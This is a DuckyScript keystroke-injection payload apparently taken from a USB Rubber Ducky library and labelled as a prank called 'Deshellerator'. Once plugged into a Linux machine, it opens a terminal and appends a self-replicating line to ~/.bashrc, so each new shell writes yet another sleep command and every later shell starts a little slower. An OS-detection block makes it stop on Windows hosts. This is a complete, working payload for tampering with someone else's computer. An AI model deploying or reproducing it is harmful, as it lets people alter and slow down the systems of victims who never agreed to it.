Path: blob/master/payloads/library/prank/Deshellerator/payload.txt
2968 views
REM TITLE: Deshellerator1REM AUTHOR: Korben, Darren2REM VERSION: 1.034REM DESCRIPTION: "Slow down there buckaroo" - Shell Decelerator5REM Every time a shell is opened (that sources ~/.bashrc), opening the next6REM shell will get ever so slightly slower...78REM TARGETS: Linux - tested on ubuntu9REM REQUIREMENTS: DuckyScript 3, PayloadStudio >1.31011DEFINE #TARGET_FILE ~/.bashrc12DEFINE #DECELERATION_RATE 0.51314REM Delay used for waiting for GUI elements to spawn/react15REM Increase to make more compatible with all systems16DEFINE #UI_DELAY 2501718LED_OFF19EXTENSION PASSIVE_WINDOWS_DETECT20REM VERSION 1.02122REM Windows fully passive OS Detection and passive Detect Ready23REM Includes its own passive detect ready. Does not require24REM additional extensions2526REM USAGE:27REM Extension runs inline (here)28REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic29REM boot delay30REM $_OS will be set to WINDOWS or NOT_WINDOWS3132REM CONFIGURATION:33DEFINE MAX_WAIT 15034DEFINE CHECK_INTERVAL 2035DEFINE WINDOWS_HOST_REQUEST_COUNT 236DEFINE NOT_WINDOWS 73738VAR $MAX_TRIES = MAX_WAIT39WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))40DELAY CHECK_INTERVAL41$MAX_TRIES = ($MAX_TRIES - 1)42END_WHILE43IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN44$_OS = WINDOWS45ELSE46$_OS = NOT_WINDOWS47END_IF4849REM EXAMPLE USAGE AFTER EXTENSION50REM IF ($_OS == WINDOWS) THEN51REM STRING HELLO WINDOWS!52REM ELSE53REM STRING HELLO WORLD!54REM END_IF55END_EXTENSION5657REM Inapplicable target guard clause58IF ($_OS == WINDOWS) THEN59ATTACKMODE OFF60LED_R61STOP_PAYLOAD62END_IF6364CTRL ALT t65DELAY #UI_DELAY66STRINGLN echo "echo 'sleep #DECELERATION_RATE'>>#TARGET_FILE">>#TARGET_FILE;exit67LED_G686970